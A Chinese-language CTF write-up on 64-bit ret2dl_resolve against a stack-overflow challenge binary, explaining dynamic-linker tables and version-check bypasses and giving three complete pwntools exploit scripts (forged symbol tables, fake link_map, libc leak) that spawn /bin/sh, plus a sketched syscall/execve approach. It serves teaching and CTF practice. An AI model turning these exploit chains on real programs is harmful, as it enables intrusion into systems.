0%

64位 ret2dl_resolve 总结

0x00 前言

回字有四样写法,你知道么? —- 鲁迅

0x01 分析

​ 程序的逻辑很简单,在 main 函数在初始化之后就调用了 vuln 函数。vuln 函数里面是一个 read(0, buf, 0x1000uLL); 一个直白的栈溢出。

0x02 利用

​ 首先看到这个必然想到 ret2dl_resolveret2dl_resolve 是一个很经典的栈溢出利用方式,在 32 位情况下,只需要满足两个条件就可以稳定拿到 shell:

  • 没开 PIE
  • NO RELRO 或者 PARTIAL RELRO

​ 很庆幸的是 pwn3 完全符合这两个条件,唯一的区别在于 pwn3 是个 64 位程序。

​ 在较新的 ld.so 中, dl_resolve 中加了 verison table 的查询。这个机制在 32 位下很好绕过,但在64位下,由于 bss 段和 text 段离得太远,所以需要技巧性的绕过。

ret2dl_resolve 的原理

​ 可以看到在 IDA 中, LOAD 段一共有这样几个 table: Hash Table, Symbol Table, String Table, Symbol Version Table, RELA Table, JMPREL Table

​ 在 ret2dl_resolve 中,需要用到的有 Symbol Table, String Table, Symbol Version TableJMPREL Table

​ 接下来用通俗的语言描述 ret2dl_resolve 的流程。

​ 在调用 dl_resolve 函数后, 函数首先会通过JMPREL Table 和传入函数的 index 参数找到对应的 JMPREL Table 表项。注意到每个 JMPREL Table 表项由 0x18 字节构成。我们的关注点有两个,第一个是 0~7 字节的 GOT 表地址,另一个是 8~11 字节的 Symbol Table Index。例如 readSymbol Table Index 是 1, setvbuf 的是 4。

​ 然后,通过 Symbol Table IndexSymbol Table 中找到对应的表项。Symbol Table 表项也由 0x18 字节构成,0~7 字节是 Symbol 的名称字符串相对于 Sting Table 的偏移。Funtion Symbol 的 8~16 字节为 0x12,其他位为 0。

​ 最后在 String Table 中找到对应的名称字符串,最关键的是,**dl_resolve是通过名称字符串在 libc 中找到对应的函数地址**。也就是说,如果我们能劫持 String Tabledl_resolve 以为 read 函数叫 system,我们就可以调用 system 函数拿到 shell 了。但是很可惜,上述的几个表都是只读的,没有办法进行写操作。但是,我们可以另辟蹊径,在 bss 段上伪造 JMPREL Table, Symbol Table, String Table 的表项,来达到同样的效果。

惹人厌的 Version Table

​ 远古的 ret2dl_resolve 就是按照上诉的流程来打的。但是… 新的 ld.so 给加了一个 Version Table 。可以看到 Verison Table 的表项顺序和 Symbol Table 完全一致,也就是说在查找 Symbol Table 的同时,程序也会用同样的 index 在 Symbol Table 中查找 Symbol 对应的 version 信息。所以说,我们同样在 bss 段上面伪造一个 Version Table 不就好了?

​ 理想很丰满,现实很残酷,Symbol Table的表项是 0x18 字节,而 Version Table的表项是 0x10 字节,在表头地址差距不大,且共用一个 index 的情况下,若想要伪造的 Symbol Table 表项在 bss 段,那么 Version Table 的表项一定在 text 段和 bss 段之间,一定是个不合法的地址,访问它一定会 Segment Fault

那我们能不能想办法让它位于映射的内存中呢。估计有点难

bss 的起始地址为 0x601050,那么索引值最小为 (0x601050-0x400398)/24=87517,即 0x4003f6 + 87517*2 = 0x42afb0
bss 可以最大使用的地址为 0x601fff,对应的索引值为 (0x601fff-0x400398)/24=87684,即 0x4003f6 + 87684*2 = 0x42b0fe

显然都在非映射的内存区域。

​ —- CTF Wiki

​ 所以,我们得想办法绕过这个机制。

绕过 Version Table

​ CTF Wiki 给了两种绕过方式,一种需要泄露 link_map 的地址,一种需要知道远程的 libc 版本。接下来我们结合 exp 看看这两种方法分别怎么实现。

Exp 1

​ 可以看到,在题目所给的 libc 中,setvbuf 函数和 puts 函数的地址非常接近。只有低 16bits 有区别,在地址随机化中,低 12bits 是不变的。我们只需要爆破 4bits,1/16 的概率,就能把 setvbuf 的 GOT 表改成 puts

​ 所以思路就是用 puts 函数泄露 link_map 的地址,然后绕过 Version Table

通过阅读 dl_fixup 的代码。

1
2
3
4
5
6
7
8
9
10
// 获取符号的版本信息
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum = (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

我们发现,如果把 l->l_info[VERSYMIDX(DT_VERSYM)] 设置为 NULL,那程序就不会执行下面的代码,版本号就为 NULL,就可以正常执行代码。但是,这样的话,我们就需要知道 link_map 的地址了。 GOT 表的第 0 项(本例中 0x601008)存储的就是 link_map 的地址。

因此,我们可以

  • 泄露该处的地址
  • 将 l->l_info[VERSYMIDX(DT_VERSYM)] 设置为 NULL
  • 最后执行利用脚本即可

​ exp 如下 (1/16 的概率打通):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
rom pwn import *
# from LibcSearcher import LibcSearcher
# from io_file import *
import binascii
import subprocess
import re

file_crack = 'pwn3'
glibc = ''
domain_name = '124.16.75.117'
port =51007
remo = 0
archive = 'amd64'

context(os='linux', arch=archive, log_level='debug')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

elf = ELF(file_crack)
if remo:
n = remote(domain_name, port)
else:
if glibc:
n = elf.process(env={'LD_PRELOAD':glibc})
else:
n = elf.process()


def z():
if remo == 0:
gdb.attach(n)
pause()


sym_table = 0x4002C8
string_table = 0x400388
jmp_table = 0x400490
pop_rdi = 0x4006f3
read_plt = 0x4004F0
leave_ret = 0x40068A
fake_stack = 0x601000 + 0x800
resolve = 0x4004FB

pop_rsi_r15 = 0x4006f1

fake_jmp_table_offset = 0xb0
fake_sym_table_offset = 0x110
system_str_offset = 0x140

setvbuf_plt = 0x400500

pay = b'a' * 0xa + p64(fake_stack)
pay += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(0x601020) + p64(0) + p64(read_plt)
pay += p64(pop_rdi) + p64(0x601008) + p64(setvbuf_plt)
pay += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(fake_stack) + p64(0) + p64(read_plt)
pay += p64(leave_ret)
n.send(pay)
n.send(b'\xa0\x2a')
s = u64(n.recv(6).ljust(0x8, b'\x00'))
print(hex(s))

csu_end_addr = 0x4006EA
csu_front_addr = 0x4006D0

def csu(rbx, rbp, r12, r13, r14, r15):
# pop rbx, rbp, r12, r13, r14, r15
# rbx = 0
# rbp = 1, enable not to jump
# r12 should be the function that you want to call
# rdi = edi = r13d
# rsi = r14
# rdx = r15
payload = p64(csu_end_addr)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
return payload

payload = p64(fake_stack + 0x100) + csu(0, 1, 0x601018, 0, s + 0x1c8, 8)
payload += p64(0x40068B) + p64(pop_rdi) + p64(fake_stack + 8 + system_str_offset) + p64(resolve) + p64((fake_stack + fake_jmp_table_offset - jmp_table) // 0x18)
payload = payload.ljust(fake_jmp_table_offset,b'\0')
payload += p64(0x601018) + p32(7) + p32((fake_stack + fake_sym_table_offset - sym_table) // 0x18) + p64(0)
payload = payload.ljust(fake_sym_table_offset,b'\0')
payload += p32(fake_stack + system_str_offset - string_table) + p32(0x12) + p32(0)*4
payload = payload.ljust(system_str_offset,b'\0')
payload += b'system\0\0' + b'/bin/sh\0'
n.send(payload)

n.send(p64(0))

n.interactive()

'''
payload = p64(fake_stack + 0x100) + p64(pop_rdi) + p64(fake_stack + 8 + system_str_offset) + p64(resolve) + p64((fake_stack + fake_jmp_table_offset - jmp_table) // 0x18)
payload = payload.ljust(fake_jmp_table_offset,b'\0')
payload += p64(0x404018) + p32(7) + p32((fake_stack + fake_sym_table_offset - sym_table) // 0x18) + p64(0)
payload = payload.ljust(fake_sym_table_offset,b'\0')
payload += p32(fake_stack + system_str_offset - string_table) + p32(0x12) + p32(0)*4
payload = payload.ljust(system_str_offset,b'\0')
print(len(payload))
payload += b'system\0\0' + b'/bin/sh\0'
#pause()
p.sendline(payload)
'''
Exp 2

​ 以下转自 CTF Wiki:

可以看出,在上面的测试中,我们仍然利用 write 函数泄露了 link_map 的地址,那么,如果程序中没有输出函数,我们是否还能够发起利用呢?答案是可以的。我们再来看一下 _dl_fix_up 的实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
>/* Look up the target symbol.  If the normal lookup rules are not
used don't look in the global scope. */
>// 判断符号的可见性
>if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0)
>{
// 获取符号的版本信息
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum = (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
>#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
>#endif
// 查询待解析符号所在的目标文件的 link_map
result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG();
>#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
>#endif
/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
// 基于查询到的 link_map 计算符号的绝对地址: result->l_addr + sym->st_value
// l_addr 为待解析函数所在文件的基地址
value = DL_FIXUP_MAKE_VALUE(result,
SYMBOL_ADDRESS(result, sym, false));
>}
>else
>{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE(l, SYMBOL_ADDRESS(l, sym, true));
result = l;
>}

如果我们故意将 __builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) 设置为 0,那么程序就会执行 else 分支。具体的,我们设置 sym->st_other 不为 0 即可满足这一条件。

1
2
3
4
5
6
7
8
9
>/* How to extract and insert information held in the st_other field.  */
>#define ELF32_ST_VISIBILITY(o) ((o) & 0x03)
>/* For ELF64 the definitions are the same. */
>#define ELF64_ST_VISIBILITY(o) ELF32_ST_VISIBILITY (o)
>/* Symbol visibility specification encoded in the st_other field. */
>#define STV_DEFAULT 0 /* Default symbol visibility rules */
>#define STV_INTERNAL 1 /* Processor specific hidden class */
>#define STV_HIDDEN 2 /* Sym unavailable in other modules */
>#define STV_PROTECTED 3 /* Not preemptible, not exported */

此时程序计算 value 的方式为。

1
>value = l->l_addr + sym->st_value

通过查看 link_map 结构体的定义,可以知道 l_addr 是 link_map 的第一个成员,那么如果我们伪造上述这两个变量,并借助于已有的被解析的函数地址,比如

  • 伪造 link_map->l_addr 为已解析函数与想要执行的目标函数的偏移值,如 addr_system-addr_xxx
  • 伪造 sym->st_value 为已经解析过的某个函数的 got 表的位置,即相当于有了一个隐式的信息泄露

那就可以得到对应的目标地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
>struct link_map
{
/* These first few members are part of the protocol with the debugger.
This is the same format used in SVR4. */
ElfW(Addr) l_addr; /* Difference between the address in the ELF
file and the addresses in memory. */
char *l_name; /* Absolute file name object was found in. */
ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */
struct link_map *l_next, *l_prev; /* Chain of loaded objects. */
/* All following members are internal to the dynamic linker.
They may change without notice. */
/* This is an element which is only ever different from a pointer to
the very same copy of this type for ld.so when it is used in more
than one namespace. */
struct link_map *l_real;
/* Number of the namespace this link map belongs to. */
Lmid_t l_ns;
struct libname_list *l_libname;
/* Indexed pointers to dynamic section.
[0,DT_NUM) are indexed by the processor-independent tags.
[DT_NUM,DT_NUM+DT_THISPROCNUM) are indexed by the tag minus DT_LOPROC.
[DT_NUM+DT_THISPROCNUM,DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM) are
indexed by DT_VERSIONTAGIDX(tagvalue).
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM) are indexed by
DT_EXTRATAGIDX(tagvalue).
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM) are
indexed by DT_VALTAGIDX(tagvalue) and
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM+DT_ADDRNUM)
are indexed by DT_ADDRTAGIDX(tagvalue), see <elf.h>. */
ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
+ DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];

​ 接下来就简单了,按照 Wiki 给出的利用,做一些抄写的工作,Exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *
# from LibcSearcher import LibcSearcher
# from io_file import *
import binascii
import subprocess
import re

file_crack = 'pwn3'
glibc = ''
domain_name = '124.16.75.117'
port =51007
remo = 0
archive = 'amd64'

context(os='linux', arch=archive, log_level='debug')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

elf = ELF(file_crack)
if remo:
n = remote(domain_name, port)
else:
if glibc:
n = elf.process(env={'LD_PRELOAD':glibc})
else:
n = elf.process()


def z():
if remo == 0:
gdb.attach(n)
pause()


sym_table = 0x4002C8
string_table = 0x400388
jmp_table = 0x400490
pop_rdi = 0x4006f3
read_plt = 0x4004F0
leave_ret = 0x40068A
fake_stack = 0x601000 + 0x800
resolve = 0x4004E6

pop_rsi_r15 = 0x4006f1

fake_jmp_table_offset = 0x38
fake_sym_table_offset = 0x80
system_str_offset = 0x108

setvbuf_plt = 0x400500
fake_linkmap_addr = fake_stack + 0x100
plt0 = 0x4004E0

pay = b'a' * 0xa + p64(fake_stack)
pay += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(fake_stack) + p64(0) + p64(read_plt)
pay += p64(leave_ret)
n.send(pay)


system_read_off = -0xc0bf0
read_got = 0x601018

linkmap = p64(system_read_off & (2**64 - 1))
linkmap += p64(17) + p64(fake_linkmap_addr + 0x18)
linkmap += p64((fake_linkmap_addr + 0x30 - system_read_off) & (2**64 - 1)) + p64(0x7) + p64(0)
linkmap += p64(0)
linkmap += p64(6) + p64(read_got - 8)
linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68, b'A')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8, b'A')
linkmap += p64(fake_linkmap_addr + 8)


payload = p64(fake_stack + 0x100) + p64(0x40068B) + p64(pop_rdi) + p64(fake_linkmap_addr + 0x48) + p64(resolve) + p64(fake_linkmap_addr) + p64(0)
payload = payload.ljust(0x100, b'\x00')
payload +=linkmap

# z()
n.send(payload)

n.interactive()


'''
linkmap = p64(offset_of_two_addr & (2**64 - 1))
linkmap += p64(17) + p64(fake_linkmap_addr + 0x18)
# here we set p_r_offset = fake_linkmap_addr + 0x30 - two_offset
# as void *const rel_addr = (void *)(l->l_addr + reloc->r_offset) and l->l_addr = offset_of_two_addr
linkmap += p64((fake_linkmap_addr + 0x30 - offset_of_two_addr)
& (2**64 - 1)) + p64(0x7) + p64(0)
linkmap += p64(0)
linkmap += p64(6) + p64(known_function_ptr-8)
linkmap += '/bin/sh\x00' # cmd offset 0x48
linkmap = linkmap.ljust(0x68, 'A')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8, 'A')
linkmap += p64(fake_linkmap_addr + 8)
'''


'''
payload = p64(fake_stack + 0x100) + p64(pop_rdi) + p64(fake_stack + 8 + system_str_offset) + p64(resolve) + p64((fake_stack + fake_jmp_table_offset - jmp_table) // 0x18)
payload = payload.ljust(fake_jmp_table_offset,b'\0')
payload += p64(0x404018) + p32(7) + p32((fake_stack + fake_sym_table_offset - sym_table) // 0x18) + p64(0)
payload = payload.ljust(fake_sym_table_offset,b'\0')
payload += p32(fake_stack + system_str_offset - string_table) + p32(0x12) + p32(0)*4
payload = payload.ljust(system_str_offset,b'\0')
print(len(payload))
payload += b'system\0\0' + b'/bin/sh\0'
#pause()
p.sendline(payload)
'''

更多的思考

​ 既然在 Exp 1 中已经可以泄露了,为什么不直接泄露 libc 地址, 然后 rop 到 system 呢?

​ 于是就有了 Exp 3。

Exp 3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
# from LibcSearcher import LibcSearcher
# from io_file import *
import binascii
import subprocess
import re

file_crack = 'pwn3'
glibc = ''
domain_name = '124.16.75.117'
port =51007
remo = 0
archive = 'amd64'

context(os='linux', arch=archive, log_level='debug')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

elf = ELF(file_crack)
if remo:
n = remote(domain_name, port)
else:
if glibc:
n = elf.process(env={'LD_PRELOAD':glibc})
else:
n = elf.process()


def z():
if remo == 0:
gdb.attach(n)
pause()


sym_table = 0x4002C8
string_table = 0x400388
jmp_table = 0x400490
pop_rdi = 0x4006f3
read_plt = 0x4004F0
leave_ret = 0x40068A
fake_stack = 0x601000 + 0x800
resolve = 0x4004FB

pop_rsi_r15 = 0x4006f1

fake_jmp_table_offset = 0x38
fake_sym_table_offset = 0x80
system_str_offset = 0x108

setvbuf_plt = 0x400500

pay = b'a' * 0xa + p64(fake_stack)
pay += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(0x601020) + p64(0) + p64(read_plt)
pay += p64(pop_rdi) + p64(0x601020) + p64(setvbuf_plt)
pay += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(fake_stack) + p64(0) + p64(read_plt)
pay += p64(leave_ret)
n.send(pay)
n.send(b'\xa0\x2a')
s = u64(n.recv(6).ljust(0x8, b'\x00'))
libc_base = s - 0x80aa0
print(libc_base)

pay = p64(fake_stack + 0x100) + p64(0x40068B) + p64(pop_rdi) + p64(libc_base + 0x1b3e1a) + p64(libc_base + 0x4f550)
n.send(pay)

n.interactive()

最后的最后

​ 因为最后想要说的利用方式不是我通过常规途径想到的,故也算不得writeup。但是思路十分巧妙,因此简单分析一下思路,不放上完整 Exp 了。

read 函数中有 syscall 指令,将 read 的 GOT 表 partial overwrite 到 syscall 指令对应的地址,即可通过 rop 构造 execve("/bin/sh", 0, env)

​ 但是其中涉及到 rax 的控制,这一点可以用 read 函数的返回值实现,例如 execve 的调用号是 59, 那么 read 59 个字节后 rax 就变成了 59。但是在 partial overwrite 后不能进行下一次 read ,而 read 函数的 GOT 地址减去 59 是个不合法地址。所以不能直接这样控制 rax。好在 read 也可以用 syscall 实现,且系统调用号为 0。而 rax 为 0 的情况还是很常见的。所以 syscall 0 后,输入 59 字节,使 rax 为 59,然后再 syscall 59。

欢迎关注我的其它发布渠道